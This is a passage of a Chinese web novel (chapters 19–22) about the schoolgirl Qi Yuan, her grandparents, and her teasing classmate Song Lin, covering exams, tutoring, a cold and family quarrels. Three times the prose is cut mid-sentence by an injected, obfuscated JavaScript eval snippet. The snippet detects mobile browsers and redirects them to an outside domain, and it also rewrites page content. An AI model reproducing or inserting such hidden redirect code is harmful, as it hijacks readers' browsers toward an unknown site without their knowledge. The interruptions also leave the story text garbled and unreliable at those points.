在一起待的时间久了,她就总想离他近些,再近些。他不会知道她因为什么哭,她更不会告诉他。或许站在他的视角里,她现在有点儿无理取闹吧…… 宋嶙抬手轻轻拭去她脸上的泪痕,他不懂她为什么突然来了这么一句话,他为她做过的事没几件,全都是他力所能及、在自己可以承受的范围内的。但是在她那里,怎么越听越像是强压在她身上的负担? 他捏了捏她的脸,唇角扬起一抹温和的笑,用很轻的声音说:“想对你好就对你好呗,哪有那么多为什么?” 她神色微动,抿着唇道:“应该是因为你很好吧。” 宋嶙听完,只觉得自己的心不由自主地抖了一下。这种被人夸赞的感觉说不上来,很奇怪,又很微妙。在他印象里,这种话是应该说给别人听的。 而不是在他这种不学无术,只会打架、逃课、暴脾气的人身上。 他鲜少在别人身上感受到温暖,这一刻像是心里放了一个暖炉,火热热的。 宋嶙眼眸闪烁:“阿缘,你应该懂得,不是对你好的人好,而是你本身就是一个很好的人,所以你值得有人对你好,围着你转。” “别想那么多,对你好一辈子也是我愿意做的事。” 就算是以哥哥的身份,一辈子,他也认了。 19. 第 19 章 期中考试考了两整天才结束,走廊里堆满了人,都是准备搬桌子椅子的。冷风呼呼往身上吹,前面不知道发生了什么,堵的水泄不通,后面的人着急,拧着眉喊了句“快点”。 还有一个晚自习就能回家了,祁缘整理着这两天考完的试卷,先是把它们都摊开,角对的整整齐齐才把它们重新卷到一起,最后放进桌肚里。 这段时间连轴转,累得要死,她伸了个懒腰,明天周末,终于能休息一天了。 祁缘感觉自己都要被榨干了,结果何浩楠他们几个倒是精力旺盛,感觉他们上学一点儿都不累,居然还在探讨明天去哪里玩。 陈子涛愁眉苦脸地说:“咱都多长时间没去喝酒了,我都快忘了酒精是什么味儿的了。” 何浩楠手里啪啦啪啦转着魔方,动脑动手的同时也没忘记翻白眼:“回回都是你张罗的最勤,喝两瓶就像死猪一样往那一躺,还得阿嶙给你扛回去,要是他张罗还行,人家喝一箱也没啥事。” 听到宋嶙有这种酒量,祁缘不禁唏嘘。 陈子涛手一摊:“那干什么?咱这地方一共也没多大,除了喝酒泡吧,还能打个台球,也没啥别的了,咱总得玩点儿什么吧?” 宋嶙扭头扫了他一眼:“非得玩吗?你就不能去学会儿习啊?” “哟哟哟,你还清高上了,明天我们出去玩儿你就待在家里学习啊,到时候可别哭着求我俩带你。” 他答应的痛快:“行啊,我就待家里学,不瞒你们说,这次考试我答上不少题呢。” 陈子涛轻嗤一声:“写的都是错的有什么用?” “不比你英语五十道选择题一个没蒙对强啊?” 说这话的时候宋嶙还特意提高了音量,班级这时没什么声,众人的视线全都探了过来,都知道他说的是陈子涛。 陈子涛气急败坏:“宋嶙咱俩绝交!” 宋嶙笑了声:“你再跟我说话你是狗啊。” 何浩楠手上的魔方复位,摇头叹气:“两个小学生。” 夜色漆黑,月亮躲起来一半挂在天上,殷鹏打着手电来学校门口接祁缘,顺手接过她背上的书包。 宋嶙抬手,跟殷鹏打了个招呼:“外公。” 殷鹏笑着点头:“明天不上学,来外公家吃饭呗。” 祁缘觉得自己邀请的话会很别扭,但从殷鹏嘴里说出来就不一样了,她眼睛亮亮的,期待着宋嶙的回应。 他摇了摇头:“先不去了,过几天的吧,明天在家学学习。” 陈子涛和何浩楠站在一边下巴都要惊掉了,宋嶙那狗德行不应该巴不得现在就跟着他们走吗? 夜色掩盖住了祁缘脸上的落寞,殷鹏继续劝说:“来呗,学习的话正好,我们家阿缘一向学习不错,她能教教你。” 宋嶙还是拒绝了:“不了不了,改天的吧。” “那行吧。” 祁缘跟在殷鹏后边走了,时不时回头看他一眼,她攥着书包带子,指尖泛着白,她不明白宋嶙为什么拒绝。 然而第二天她就知道答案了。 祁缘睡到快十一点才醒,头发在被窝里压的乱糟糟的,她趿拉着拖鞋从卧室里出来,捂着嘴打了个哈欠。 “外婆,我……” 她睁开一边眼睛,看到宋嶙正坐在门口的小板凳上笑眯眯地看着她,愣住了。 冯丽刚从厨房出来,见她蓬头垢面这样子赶忙把她推进了卫生间,“快去洗个脸,怎么这样就出来了?” 祁缘偷偷看了一眼门外的人,拉着冯丽的手,茫然道:“宋嶙怎么来了?” 冯丽被问的一愣:“啊?不是你们事先约好的吗?他说来找你学习啊!” “……” 祁缘匆匆洗了把脸,简单扎了个高马尾就出来了,宋嶙盯着她,语气悠悠:“见哥还要精心打扮一番啊?” “……”她不就洗了把脸吗?她自动忽略他那句话,坐到他旁边:“你不是说你不来吗?” “就你啥都信,”他笑她天真:“我肯定是装的呀,要是直接答应了,那俩货怎么想我?” “哦。”演技挺好的,骗过了所有人。 “你不是要学习吗?”祁缘又问,朝他身后看了眼:“书呢?” 宋嶙把她扳正坐好:“书包在屋里呢,我还能去哪都抱着啊?” 冯丽烧好饭,一盘一盘端出来:“人家早上七点就来了,本来我想把你叫起来的,阿嶙不让,结果你十一点了才起。” “……”祁缘顿了下,赶忙给自己找补:“是他说的,他说他不来我才赖床的。” 这怎么还怪到他头上了?宋嶙“哦”了声,拖腔带调的:“那我昨天直接说今天过来好了,这样你是不是半夜就搬个小板凳去门口等着我了?” 他执意逗她,她脸红的像个苹果,半天也没想出来一句能怼回去的话。 祁缘太阳穴突突直跳,干脆撑起身子站起来跑了,她在家里找了一圈,扭头问:“我外公去哪儿了?” “他能上哪儿?又去超市买酒了呗,一顿不喝他都闹心。”冯丽说,然后又咬牙切齿骂了几句才解气,还不忘叮嘱祁缘:“阿缘,等将来你谈恋爱了可不兴找这种大酒鬼,一天天都活活气死你不成。” 看得出来她是真的很生气,炒菜的锅铲磕在一起,发出刺耳的响声,祁缘听的缩了下脖子。 她来这里和他们生活了一年多了,老两口平时聚少离多,冯丽这人刀子嘴豆腐心,对殷鹏说出来的话总是不怎么好听,两人也曾因为说话的方式不对吵了很多架。 其实冯丽倒也不是反对他喝酒,只是他喝的太多了,还怎么说都不听。祁缘记得很清楚,当时殷鹏就是因为接受不了女儿的离世才酗酒成瘾,最后连夜被拉进了医院,诊断出了肝硬化。 邻里邻居都知道这老头惜命,所有人都以为他经历过这一次就不会再碰酒了,却没成想,得病竟也没能改掉他这个陋习。 他们岁数大了,冯丽生气,本质意义上只是想让他多活几年,想让他多陪陪她而已。 祁缘走上前,拉着冯丽的胳膊轻轻甩了甩:“外婆,戒酒也是需要时间的,你给外公个机会,我相信他会戒掉的。” “拉倒吧,你也不用替他说好话,他要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957261|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是能戒猪都会跳广场舞了。” “……” 冯丽紧绷着脸,突然想起来点什么,看向宋嶙:“阿嶙,你喝不喝酒?” “我不喝呀,我对这种东西没什么兴趣。” 他几乎是秒回答,说话的同时表现的一脸乖顺,很难不让人信服。祁缘瞪圆了眼睛,昨天她可是亲耳听到何浩楠说他一次能喝一箱的,这人是怎么做到撒谎扯淡眼睛都不带眨一下的? 一脸老实样儿,她真想揭穿他。 冯丽显然相信了,她脸色这才有所缓和,欣慰道:“还得是阿嶙,乖孩子,都不用外婆操心。” “还得是外婆有眼光啊!不瞒您说,我这人要是乖起来,那这个世界就没有比我再乖的人了,我拿第二就没人敢争第一。” 他倒是越夸越来劲儿,越说越离谱,编瞎话的时候脸也是不红不白的。祁缘看不下去了,捅咕他:“你说两句得了。” 宋嶙面向她,嘴角微挑,轻嗤一声:“怎么,优秀到你了?” “……” 祁缘无言以对,转身去沙发上拿了件棉衣外套披上,说:“我去找外公回来吃饭。” 宋嶙眼疾手快,抬手抓住她的衣领:“你是不是不想听我说话才要走的?” “对啊。”她一脸认真,回答的干脆痛快,一点儿都不拖泥带水。 宋嶙听完呆滞了一瞬,缓缓松手,掌心无力地垂在了裤线上。 他声音极轻:“原来我这么令你讨厌啊……” 祁缘愣住,冯丽见气氛不对急忙上前来打马虎眼儿:“什么讨厌不讨厌的,阿缘在跟你说笑呢,她怎么可能那么想你呢?是不是?” 她把她拉过来,想赶紧解开这个误会,祁缘也觉得自己说话有点儿太直接了,主动抓上他的手臂,轻轻摇晃两下。 “宋嶙,我……” 后面的话卡在胸口。她长的矮,他又垂着头,刚好整张脸都在她的视线里。她这个视角好巧不巧正好能看到他紧闭着眼,嘴唇崩成了一条直线,抓着衣角的指尖泛着白。 他做了这么多这才勉强隐忍住自己即将迸发而出的笑意。 祁缘突然意识到自己被耍了,气的咬嘴唇,然后狠狠地在他的脚尖处踩了一脚。 “啊……”宋嶙吃痛,闷哼一声,祁缘盯着他的表情变化,先是错愕,半晌脸色一变,气愤道:“这次装的才比较真实一点。” “不是……我这次真没装……”他无奈地笑出声,今早他刚起床的时候迷迷糊糊踢到了桌子角,当时疼的他在地上坐了好一会儿才起来,眼下又被补了一脚,他上哪儿说理去? “你的演技真是太差了!”祁缘见他还咧着嘴角,懒得理他,头也不回地跑了。 施暴者不见了,他这个受害者只好去找冯丽诉苦。宋嶙眉头紧锁,无奈地叹气:“外婆,我这是真疼。” 冯丽弯着眼,不由失笑:“阿嶙,阿缘刚才那么对你我知道确实不太好,但是你看她又矮又瘦的,你再疼能疼到哪儿去?” 她甩甩手:“阿缘都走了,你就别装了。” “我真服了。” 20. 第 20 章 祁缘真庆幸自己出来了,要是不来找的话殷鹏估计都要在超市里待到半夜再回去。 她进屋时他正跟一个老头聊的热火朝天,看这架势就差把酒打开俩人喝点儿了。 殷鹏见祁缘找来了,记忆力也上来了,一拍脑袋:“这一天,我外孙女同学还在我们家呢,我寻思出来买个酒,结果光顾着跟你这老同学聊天都忘了时间了。” 那老头始终是背对她的,听殷鹏这么一说才转过脸来。祁缘一顿,她见过他,以前是一个小区里的,殷曼总和他打招呼,他和祁建强还是牌友。 那时自己家里都没什么吃食,殷曼做饭有时候还要给他端过去一点,祁缘一问才知道,这老头这一辈子也没娶妻生子,就一个人过。 刚开始她还觉得挺可怜的,后来两家关系拉近了她才知道,这老头自私自利,见不得别人好,有一回祁缘放学回来他还拽着她说一些价值观扭曲的话。 从那之后母女俩就不怎么搭理他了,可能是态度突然转变有点儿激怒到他,这老头转头开始从祁建强这下手了,经常给他出招,想方设法让祁建强和殷曼吵架。 想不到他居然还是外公的老同学,原来大家都认识,她暂且忘记他之前干那些损事,缓缓开口:“陈爷爷好。” 陈老头没说话,目光却在祁缘身上缓缓游走着,这种感觉莫名其妙的,她感觉很不舒服,干脆躲到殷鹏后边,别过眼去不看他。 他吃了瘪,这才回过神来,扬起笑脸假意打趣两句:“才一年没见祁缘都长这么大啦,长的多好看,处没处对象呢?” 问的怪直接的,祁缘脸一红:“没有。” “还没成年呢处什么对象?”殷鹏撑着身子从椅子上站起来,走时不忘拿起桌上的酒瓶,笑道:“那我们就先回去了,家里人还等着我呢,咱改天约时间再聚一下。” “行,改天的。” “快走吧外公,外婆还在家里等着我们呢。” “啊,啊,好。” 祁缘拽着殷鹏从超市里出来,走出了老远才松开他的手,她回头看了眼,皱眉道:“外公,你以后还是别和他联系了。” 殷鹏脚步一顿,他还不知道怎么回事,“咋啦?这老头是我老同学,我们那时候上学玩的可好了。” 祁缘实话实说:“他跟我爸是牌友,就他那时候一直撺掇我爸从家里偷钱打牌。” “还有这回事?” 殷鹏一愣,手上的酒瓶差点没拿稳,祁缘见状从他手上接过来,自己捧在怀里拿着。 “她都知道我妈妈是你的女儿,他还那么给我爸出坏招,你说他这人是不是就见不得你好?所以以后你还是不要和他这种人来往了。” 殷鹏听完气的面红耳赤,祁缘觉得自己可能说的有点儿多,但最起码得让他知道那个陈老头是什么东西。 “这死老头子心怎么能这么坏呢?自己没有家就想让别人家也妻离子散吗?” 他脾气上来了,甚至要回去找陈老头算账,祁缘挡在身前把他拦下,在旁边安慰道:“外公,事情既然已经发生了那就让它成为过去式吧,眼下咱们还得好好生活,就快快乐乐的,气死他,这样才是对他最大的惩罚。” 殷鹏强压制住心中的怒火,叹出一口长气,却还是没忍住怒骂一声:“一个个的,都是什么贱蹄子?” 祁缘给他拍背顺气,眉眼弯弯:“好啦,外公不要再想那些糟心事了,外婆饭都做好半天了,咱们再不回家估计都凉了。” 殷鹏始终崩着的脸也终于舒展开来,他点点头,外孙女说的有道理,他不应该因为那些差劲的人和事悲伤心急。 殷曼已经死了,他现在再怎么纠结那些伤害过她的人也没有用。活着的人总要向前看,尽管以前的路再怎么泥泞,这趟浑水他们也已经趟过去了。 而他们现在需要做的,是珍惜当下。 简简单单一顿饭很快吃完了,几人一起收拾好碗筷就各做各的事了。殷鹏坐在沙发上看电视,宋嶙躺他腿上玩手机,看着跟一家人似的。 宋嶙个子高,腿又长,往那一躺他自己就占了大半个沙发。眼看没了位置,祁缘去厨房搬来个小板凳坐下,胳膊肘垫在膝盖上,掌心托着下巴。 每天这个时候电视里播的都是些新闻之类的节目,天天看难免枯燥乏味,估计殷鹏也觉得没意思,抬手拿起遥控器换了个电影频道。 台已经换好了,电视却黑乎乎的,祁缘盯着看了几秒以为是太阳照的反光,起身走到电视机前想把屏幕稍微换个方向,手刚放上,下一秒一个血淋淋的鬼脸就这么赫然出现在了她眼前。 “啊!”祁缘尖叫出声,吓得立马抱着脑袋蹲到地上。殷鹏正喝着茶水,被她这么一喊呛住了说不出来话,一边拍胸脯一边咳嗽。 宋嶙的目光终于从手机中抽离出来,看了眼她,又看了眼电视,瞬间明白怎么回事了。他把手机丢到一边,忍着笑意走到跟前把她扶起来。 祁缘吓得浑身发软,怎么也站不住,宋嶙想让她扶一下他,结果她的手像用胶水粘在脸上了一样,他怎么拽也拽不下来。 “那是电视里的,你不看就……” 话还没说完,几滴水顺着她的指缝里流了出来,刚好滴在宋嶙的手背上,空气安静了两秒,他“噗嗤”一声:“吓哭了啊?” 既然都被发现了她也就不用憋着了,哭着把手放下来转头去找纸巾,简直太丢人了,她都不敢用正眼看他,大泪珠子成串儿往下掉,睫毛也被泪水打湿糊在了眼皮上。 刚擦了两下,她又浸着个脑袋。又想哭了。 “这胆子咋这么小啊?跟你妈小时候一个样儿。”殷鹏把电视关了,走过来把她脸上糊着的碎发别在耳后。扭头看向宋嶙,俩人默契般相视一笑,谁也没忍住。 虽然瞅着挺可怜的,但是也挺好玩儿的。 俩男的不着调,这家里就冯丽是真心可怜她。她刚才出门了,去村头王奶奶家拿回来两颗白菜,一进屋就看见祁缘站在那里哭。 她把白菜扔地上,过来摸了摸祁缘的脑袋,问那俩看笑话的:“这是咋了?怎么还哭了?” 宋嶙压着嘴角的笑意,一本正经地说:“看鬼片吓得。” “鬼片?阿缘不敢看啊,她怎么可能……” 冯丽反应过来了,一寻思就是这个死老头子干的好事。她甩了甩胳膊,把宋嶙书包塞他怀里:“你俩不是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957262|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学习吗?先进屋吧。” 这件事其实是怨她自己,祁缘动了动唇,刚要开口,下一秒两人双双被冯丽推着进了卧室。 他俩对视一眼,然后一起捂住耳朵。 门外立马响起冯丽的怒吼声,殷鹏倒是绅士,他也不还口,就坐在那里一言不发。她知道他左耳朵进右耳朵出,后面干脆拧着他耳朵在他耳边喊。 外面战争激烈,祁缘这下也不哭了,改为躺在床上抿着唇默默为殷鹏祈祷。宋嶙在旁边看笑了:“你家还挺热闹的。” 他要不说话她都快把他忘了,就他当时笑的最开心。祁缘翻了个身下床,找出作业来做题,不搭理他。 “……”宋嶙坐她旁边,把自己的书包翻开,他们已经学到初三的知识点了,他把她那本摊开的书抽走,把自己的放她身前。“咱们该学二次函数了。” “明天教你,今天看见你生气。” 她也不拐弯抹角,说完就要抢他手上的书。宋嶙举起来,她就站起来,宋嶙站起来,她没辙。 祁缘咬着唇:“我作业还没写完呢!” 宋嶙不管:“你先教我,教完你再写。” 她瞪大眼:“你还和我谈条件?” “怎么的,跟你讲理你还不习惯啊?” “……” 话里话外透露着威胁,祁缘第一次听说管这种语气叫“讲理”的。她靠在椅背上抱着胳膊,顿时也来了劲儿:“我不写了,明天收作业的时候我就告诉老师说你把我书撕了。” “不是你……” 宋嶙真要被气笑了,真是看老师们对他印象都不好,她为了报复他竟也跟着他们一起往他身上扣屎盆子。 他捏着眉心,这姑娘好像让他给惯坏了,和刚开始比简直变了个人。那时候说话都唯唯诺诺的,现在倒好,两人换了个位置,她成老大了。 宋嶙叹了口气,把书还给她,一脸可怜巴巴的样子,自言自语道:“好不容易想学习,还没有人教,这命也是够苦的。” 祁缘把书重新摊开,从笔袋里拿出来根笔,不搭理旁边这个戏精。 “唉,没意思,没人教我我就不学了。” 宋嶙撒泼一样躺在地上,嘴里还时不时嘟囔几句,祁缘回头看他,朝他伸手。他见势立马抓住,眼睛亮亮的:“怎么了,是不是感觉地上太凉了,不忍心……” “耳塞在你旁边,递我一下。” “……”宋嶙伸手胡乱摸了把,还真有。他极不情愿地塞到她手里:“学吧,我睡觉了。” “哦。”她眼底涌上一层笑意,不到一秒就被她给压了下去,脸上看上去没有任何表情。 她塞完耳塞真就转头回去写作业了,宋嶙越想越气,咬着后槽牙闭上了眼睛。 到时候她过来求他和好,他可不搭理她。 屋里安静下来,时间一点点流逝,呼吸逐渐变得均匀,宋嶙自己都没想到他能把自己给哄睡着了。 祁缘发现时已经过去半个小时了,看他冻的哆哆嗦嗦的就想把他叫醒让他去床上睡,结果不管她怎么碰他他都不醒,她只好把被子扯下来给他盖上。 这么大人了,怎么还跟个小孩儿一样。 21. 第 21 章 周六放一天,周日上午上半天,下午放假。宋嶙因为昨天在祁缘家地板上睡了两个小时,今天就感冒了。 他进班时手里拿着个塑料袋,离得远看不太清,陈子涛还以为是宋健托他给他们带的包子,兴奋的手舞足蹈。 离得近了,他们才看清里面的东西:一堆鼻涕纸。何浩楠笑:“去啊,宋叔给你带的香喷喷的包子。” “滚啊。” “一说你就急,你是猪猪侠吗?人送外号急急爆?” “何浩楠我看你真是想吃巴掌了。” 俩人怼来怼去就差打起来了,宋嶙没那闲工夫搭理他俩,脸颊红彤彤的,头发也因为没打理显得乱糟糟的。他坐下来缓了会儿,吸了下鼻涕,这才开始翻书包。 何浩楠在后面扒拉他:“咋了你?没精打采的,头发不收拾怎么跟个山顶洞人一样?” 宋嶙看了眼他头上顶着的“钢丝球”,淡淡道:“你这天天打理不也长得像星期五好哥们儿吗?” 本来花了二百块钱烫成这样他都够上火的了,结果他还往他心上补刀。何浩楠气的白了他一眼:“感冒了也挡不住你这机关枪嘴突突人。” “你这不是看出来我感冒了吗?” “……” 祁缘比他后到的,她一进教室就看到宋嶙脸上透着疲态,头上兜着个帽子,半阖着眼,下巴正垫在书上。 她那卧室虽然烧暖气不冷,但地板是凉的。昨天他醒来的时候就有点鼻塞,冯丽怕他感冒还特意给他找的药,结果怕什么来什么,到底还是感冒了。 祁缘没想到能这么严重,看他这样子有些心疼,刚坐下就把书包里准备好的热水瓶拿出来给他,宋嶙看了她一眼,接过来捧着暖手。 “不是让你暖手的,这是新水瓶我没用过,你可以用它喝水。” 祁缘表面若无其事地说着,其实内心自责的不行,要不是她赌气不搭理他,他也不至于感冒发烧。 这新水瓶是送他走了之后她又拐回超市买的,当时只是觉得他不带水杯吃药不方便,前面饮水机坏了又喝不到热水,现在来看还是买对了。 宋嶙本来难受的晕头转向,听见这话瞬间感觉病好了大半,算了,看她这么细心的份儿上就原谅她一次吧。 他压住笑意,一改往日的嬉皮笑脸,故意逗她:“这就是你道歉的方式吗?” 祁缘说:“不是,我没想用这个方式道歉。” “对不起。”她说完,嘴唇崩成了一条直线,声音虽然很轻,但态度十分诚恳。 她以为宋嶙真的生她气了,再加上是因为自己的原因才害他感冒,心里过意不去,她昨晚一宿都没怎么睡好。宋嶙顿了下,也不冷着脸了,马上喜笑颜开。 “行行,小爷我心怀宽广,就勉为其难原谅你了。” 陈子涛在后边听完了全过程,背靠着墙,二郎腿一跷,“啧”了声:“这沦陷在爱情之中的人就是不一样啊。” 宋嶙一惊,怕祁缘看出来,抬手抓起纸抽朝他脸上扔了过去,说话咬牙切齿的,一点儿都不像生病的人能做出来的表情:“少放屁了,这我妹。” 陈子涛抬手接住:“这么激动干嘛?差点儿打到我这么英俊的帅脸,打变形了你付得起责任吗?!” 宋嶙白了他一眼,轻嗤一声:“你是整容了吗?还变形,老子她妈给你打瘪!” “哎你说你这人!” 陈子涛还要开口,何浩楠捂着他嘴硬生生把话给他塞了回去,笑:“这会儿成你妹了,我记得祁缘刚转来那阵你还说她是我妹呢。” “说笑话你也信。” “你当时可没笑。” 还没到上课时间,他们仨又呛起来了,好兄弟间没脾气,你一句我一句的,说话都没轻重。宋嶙还发着烧,这下哪儿也不难受了,一副指点江山的样儿,手上的水瓶都跟着晃的咕噜咕噜响。 祁缘看了会儿热闹就回头准备第一节课要用到的书本了,不知道什么时候起,等她再去听的时候他们已经不再纠结“祁缘是谁妹”这个话题了,开始聊晚上要不要去网吧通宵了。 陈子涛边说边整理书桌,往中间摞起两本书,顶上那本翻开。他找了个舒服的姿势,趴下,闭着眼睛笑,看上去很是滑稽。 他说:“我得养精蓄锐为打游戏做准备了,阿嶙,你去不去?” 宋嶙捏着眉心,脑袋晃的像拨浪鼓:“我可不去,都要病死了,一会儿回去就躺床上睡觉了。” 看样子是真不舒服,连游戏都不打了,何浩楠听完笑了声,道:“你这虚逼。” 这话是个男的就听不了,宋嶙本来眼皮沉得要合上,一下就瞪圆了眼睛:“信不信我发着烧都能把你俩打碎?” 何浩楠知道他那牛劲儿,摆摆手,附和:“嗯呢,都知道你威猛。” 他们平时说话真不真不知道,但现在来看确实是在为通宵做准备,后面两人直接睡了整整一上午,中途连厕所都没去。身旁的宋嶙也借着吃感冒药的理由,踏踏实实睡到了最后一节课才醒。 好像还有点烧,但肯定比早上刚来的时候轻了不少,他的肤色不再是病态的那种白,也可能是压的时间有点儿长,他睡觉总一个姿势,现在硌的半边脸都是红印子,额头出了一层薄汗,刘海乱的打结,他晃了晃,眼神迷离了一会儿才彻底清醒过来。 祁缘正在收拾课堂笔记,看到宋嶙坐起来了,把其中一本推到他手边:“今天讲的我都帮你抄下来了,你回去记得看。” 她继续说:“初中的知识点还有点没补完,但现在讲的你应该多少能看明白一点,等什么时候有空我再给你补高一的。” “下午行不行?” 宋嶙问,漆黑的瞳孔在眼眶里轻颤,应该是睡的挺好,眼底的戾气彻底消散了,甚至看上去还有点儿乖。 祁缘书包收拾一半,抬眼,一副人畜无害的样子:“你不是要回去睡觉吗?” “我现在好了。” 她想了想,说:“那我先回家吃个饭,有点儿饿了。” 这是答应了。宋嶙听完直接伸手帮她收拾,也不管她用什么,反正一股脑儿的全往书包里塞,然后站起身来把书包甩到自己肩膀上,单肩背着。 他不给她反悔的机会,拽着她胳膊就往出走:“还回什么家?去我家,让我爸做。” “……” 祁缘就记得宋嶙家在镇上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957263|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但不记得在哪个位置了,上次去他家她光顾着委屈在他背上哭,当时也没心情打量周围,没想到居然离得这么近,感觉刚出学校,还没走出多远就到了。 他们家在三楼,宋嶙站在门边儿上翻钥匙,挎兜书包都找遍了也没有,祁缘在一边默默打量着,缓缓道:“你是不是没带?” “……” 宋嶙没说话,下一秒抬起手来把门敲的叮当响,他做起事来毫无预兆,谁也不知道他下一步是什么打算,祁缘反应过来后慌忙捂住耳朵。 这要是晚上整栋楼声控灯都亮了,她感慨。 直到听见屋里传来窸窸窣窣的响声他才停下,片刻后门从里面打开,宋健站在门边,眉毛竖着:“你小子想干啥?” 宋嶙双手插兜,实话实说:“钥匙忘带了。” “钥匙忘带了跟你使劲敲门有什么关系?”宋健又看向他空落落的手,更来气了,抱着胳膊:“我说让你给我带个鸡肉卷也没给我带,你想……” “家里都来客人了还吃什么鸡肉卷儿啊?”宋嶙打断他,侧着身子,祁缘逼迫自己暂且忘掉刚才的战争,在后面露出半边脑袋,带着浅浅的笑意:“宋叔叔好。” “……”宋健一时语塞,他怎么也没想到祁缘能来这里,宋嶙清楚地看到他脸上的怒气只在一瞬间就消散全无了,立马多云转晴,变得喜笑颜开。 他一把推开前面的宋嶙,伸手拽着后面的祁缘进屋,语气都柔和了几分:“是小缘啊,来来来,快进屋,才放学是不是没吃饭呢?” “……翻脸比翻书还快。” 宋嶙在后面撇嘴,最后一个进屋,气鼓鼓地把门带上。他把两个书包都丢到茶几上,然后像没骨头似的栽进沙发里。 “来客人你还躺着,不知道给她倒杯水吗?” 宋嶙手捂着脸,说话声音闷着:“爸,我还感冒呢。” “啊……我给忘了,行行行,你躺着吧,我去给她倒。”宋健进厨房一顿忙活,先是给祁缘倒了杯白开水,然后又拆箱拿了两瓶新饮料,最后一起放在茶几上。 “谢谢宋叔叔。” 宋健掐着腰,脸上笑容灿烂:“哎呦,这有啥的。对了,你俩吃饭没有?” “没吃呢,爸你赶紧去做吧,阿缘肚子咕噜咕噜叫一道儿了。” “……”她哪有。 “这样啊……咱家没什么菜了,我现在出去买点儿吧。” 说完宋健就要去换衣服,祁缘要是早知道还要出去买菜她肯定不来了,太麻烦人家了,大不了饿一顿,她叫住他:“宋叔叔我其实不怎么饿,您就别忙活了。” 宋健不乐意了,脸色一沉:“我就出去买点菜做个饭,这算什么忙活?宋叔叔都没拿你当过外人,你就踏踏实实的在叔叔家里玩,别那么拘谨。” 人走了,门刚关上,这下轮到祁缘不乐意了。她小脸皱巴成一团,埋怨出声:“你怎么能那么说我?好像我很能吃一样!” 宋嶙躺着没睁眼,只是冷笑一声:“我要是说我想吃他还能去买吗?” “……” “都要把我这儿子当成孙子使了。” 他语气平淡,似乎早就习惯了。 22. 第 22 章 咚咚咚。 敲门声一遍又一遍回荡着,大题刚写一半,宋嶙叹了口气,把手上的笔撂下。他站起来去开门,一边走一边嘟囔:“还赖我不拿钥匙,这下你不也需要让我开门吗?” 结果敲门的不是宋健,宋嶙扯了下嘴角,扬起一个笑脸来:“王阿姨。” “阿嶙在家啊!今天怎么回来的这么早啊?”女人笑笑,嘴上跟他说着话实则眼睛一直在往屋里边瞟,宋嶙直了直身子,假装不经意间挡住她的视线:“周日一直都是半天课,阿姨您忘了?” “啊啊……对,瞧阿姨这记性,哈哈哈哈……”她笑起来也心不在焉的,宋嶙没功夫跟她兜圈子,直接了当:“我爸不在家,您有什么事儿就跟我说吧。” “啊……我就是问问你家狗吃什么狗粮,我家狗也不知道咋了,毛总打结,我……” “你家狗没洗澡,洗完就顺了。”宋嶙打断她的话,这理由他听都不想听,说出来也不嫌扎嘴。 “你家狗都是你爸打理的,你哪儿懂这些啊?他大概啥时候能回来?我问问他。” “不知道。” 女人呆住两秒,不死心地问:“那他干啥去了?” 宋嶙抠了抠耳朵:“不知道。” “……那我就先回去了,等你爸回来的时候你记得帮阿姨通知一下你爸。” “嗯。” “然后……” 后面说了什么没听清,宋嶙伸胳膊,一把把门推上了。他扭头,只见祁缘坐在地上,作业也不写了,就眨巴着大眼睛在那听声儿。呆呆的,像个好奇宝宝。 宋嶙没忍住笑出来,跟她讲:“这女的是……” “你家还养狗啊?” “……”他愣住,整半天原来是好奇这个事儿呢。半晌,他点了点头:“嗯,有个阿拉斯加。” 祁缘在视频上见过,眼睛瞬间亮亮的:“是那个圆嘟嘟的胖宝宝吗?” “对。” “它多大了呀?” “一岁。” “才一岁啊……好小……”祁缘喃喃道,她虽然很喜欢狗,但她没养过,不知道这个年龄是什么概念。宋嶙蹲下来,拧开一瓶饮料,道:“今早我爸把它送去洗澡了,等会儿回来你就看见了。” “好。”她听完兴奋的不行,这下作业也写不进去了,就盯着门口放空。结果宋健好一会儿都没回来,祁缘等的有些无聊,干脆直接躺地上了。 有地暖就是不一样,地板虽说是瓷砖的,但躺上去一点儿也不凉。她以前住楼的时候就喜欢这么躺着,只不过现在回农村了家家都烧暖气,这么一来屋里就只有空气是热乎的,站在地板上要是不穿拖鞋都冰脚。 宋嶙就是这么感冒的,祁缘都怀疑他不是困了,而是为了跟她较劲儿,躺地上硬生生冻晕过去了。 虽说肯定是比她家热乎,那宋嶙也怕她着凉,让她去地毯上待着,祁缘摇头不肯,突然想到什么,趴在地上拄着下巴,问:“刚才来的阿姨是你家亲戚吗?” 宋嶙似笑非笑地扫了她一眼:“你不是不好奇吗?” 